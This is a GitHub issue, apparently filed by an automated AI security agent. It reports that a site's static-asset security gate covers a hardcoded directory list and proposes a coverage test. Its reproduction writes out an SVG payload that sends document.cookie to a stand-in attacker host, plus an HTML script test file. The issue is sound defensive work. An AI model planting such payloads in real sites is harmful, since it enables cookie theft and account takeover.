Skip to content

[sec-check] static/ security gate covers a hardcoded directory list, so a new static/ subdirectory is ungated with no CI signal #697

Description

@hivecommons-hive

Security Finding

Severity: medium
Type: unsafe-pattern (security gate with no coverage gate behind it)

scripts/validate-architecture-assets.mjs is the gate that keeps active content
out of the bytes the site publishes at its own origin. Its coverage is a
hardcoded list, assetDirs:

const assetDirs = [
  { dir: join(root, 'static/img/architectures'), quality: true },
  { dir: join(root, 'static/img/cncf-projects'), quality: false },
  { dir: join(root, 'static/img/awards'), quality: false },
];

Nothing anywhere asserts that this list actually covers static/. A directory
added under static/ is ungated from the moment it is created, silently, and no
test or validator ever says so.

This is not hypothetical: static/img and static/favicons were ungated for
the entire life of the repository, shipping five unchecked SVGs at the site
origin. #690 / #691 add those two roots. That fixes today's tree — it does not
fix the mechanism that let them go unnoticed, and the next directory added under
static/ will be ungated in exactly the same way.

Reproduction (verified on the #691 branch, i.e. after that fix)

$ mkdir -p static/media
$ printf '%s' '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10"><script>fetch("https://attacker.example/?c="+document.cookie)</script><rect/></svg>' > static/media/evil.svg
$ printf '%s' '<html><body><script>alert(1)</script></body></html>' > static/media/evil.html
$ node scripts/validate-architecture-assets.mjs
Validated 82 architecture asset(s).
$ echo $?
0
$ node --test tests/static-assets.test.mjs tests/validate-architecture-assets.test.mjs
# tests 46 / pass 46 / fail 0

Both files pass the full PR gate. An identical SVG one directory deeper, in
static/img/awards/, is rejected.

Impact

static/ is published verbatim at the site origin. A browser that navigates
directly to /media/evil.svg parses it as XML and executes its <script>, its
on* handlers and its javascript: URIs in the site's own origin — SVG is
a document format, not merely an image format. .html is worse and equally
ungated.

The exposure is the review process: a pull request that adds a new static/
subdirectory (a press kit, a downloads folder, slide assets, a new icon set)
gets no automated signal at all. The gate passes, CI is green, and the only
thing standing between an unreviewed SVG and the site origin is a human noticing
it in a diff — which is precisely what did not happen for static/img and
static/favicons.

Recommendation

Make the coverage of assetDirs an assertion rather than an assumption: every
directory under static/ must be either a declared asset root or an explicitly
named exemption, and adding a new one must fail CI until it is classified.

Add tests/static-gate-coverage.test.mjs:

// The security gate in scripts/validate-architecture-assets.mjs covers a
// hardcoded list of roots. static/ is published verbatim at the site origin, so
// a directory that is on neither the gated list nor the exemption list below is
// a silently unvalidated publishing surface - which is how static/img and
// static/favicons shipped five unchecked SVGs (#690). Adding a directory under
// static/ must therefore fail here until it is deliberately classified.
import assert from 'node:assert/strict';
import { readdirSync } from 'node:fs';
import { join } from 'node:path';
import { fileURLToPath } from 'node:url';
import test from 'node:test';

const repoRoot = fileURLToPath(new URL('..', import.meta.url));
const staticRoot = join(repoRoot, 'static');

// Gated by scripts/validate-architecture-assets.mjs. Keep in sync with
// assetDirs there; the test below is what enforces that they stay in sync.
const GATED = new Set(['img', 'favicons']);

// Deliberately outside the gate: fonts hold no markup-executable type, and
// their extensions are legitimately outside the image allow-list.
const EXEMPT = new Set(['fonts']);

test('every directory under static/ is gated or explicitly exempt', () => {
  const ungated = readdirSync(staticRoot, { withFileTypes: true })
    .filter((entry) => entry.isDirectory())
    .map((entry) => entry.name)
    .filter((name) => !GATED.has(name) && !EXEMPT.has(name));

  assert.deepEqual(
    ungated,
    [],
    `static/ directories reaching the site origin with no security gate:\n` +
      ungated.map((name) => `  static/${name}`).join('\n') +
      `\n\nAdd the directory to assetDirs in ` +
      `scripts/validate-architecture-assets.mjs, or add it to EXEMPT here ` +
      `with a comment saying why it cannot carry executable markup.`,
  );
});

test('no file at the static/ root is a type the browser executes', () => {
  const executable = readdirSync(staticRoot, { withFileTypes: true })
    .filter((entry) => entry.isFile())
    .map((entry) => entry.name)
    .filter((name) => /\.(svg|html?|xhtml|xml|js|mjs)$/i.test(name));

  assert.deepEqual(
    executable,
    [],
    `files at the static/ root that a browser parses as markup or script:\n` +
      executable.map((name) => `  static/${name}`).join('\n'),
  );
});

Both tests pass on the tree as it stands once #691 lands, and both fail on the
reproduction above.

Ordering

This depends on #691. GATED names img and favicons, which only become
gated roots when #691 merges; written against main today the same test would
have to list them as exemptions, which is the opposite of what #691
establishes. It should therefore land after #691, and no PR is opened for it
here to avoid a second implementation on ground #691 already holds.

Filing as an issue rather than a PR is a sequencing decision, not a judgement
that the finding is weak: the test file itself is new and conflicts with
nothing, but its content is only correct on top of #691.


Filed by sec-check agent (ACMM L4/L5 — hold-gated mode)

🐝 Hive Agent: security | Instance: hosted-available-lke648397-260827-5n31 | SHA: f6ff594

— hive: agent=sec-check backend=copilot model=claude-opus-5 copilot=1.0.88

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    agent/securityApproved by a Hive merger/owner for auto-merge on green CIhive/hosted-available-lke648397-260827-5n31Approved by a Hive merger/owner for auto-merge on green CIsecurityApproved by a Hive merger/owner for auto-merge on green CI

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions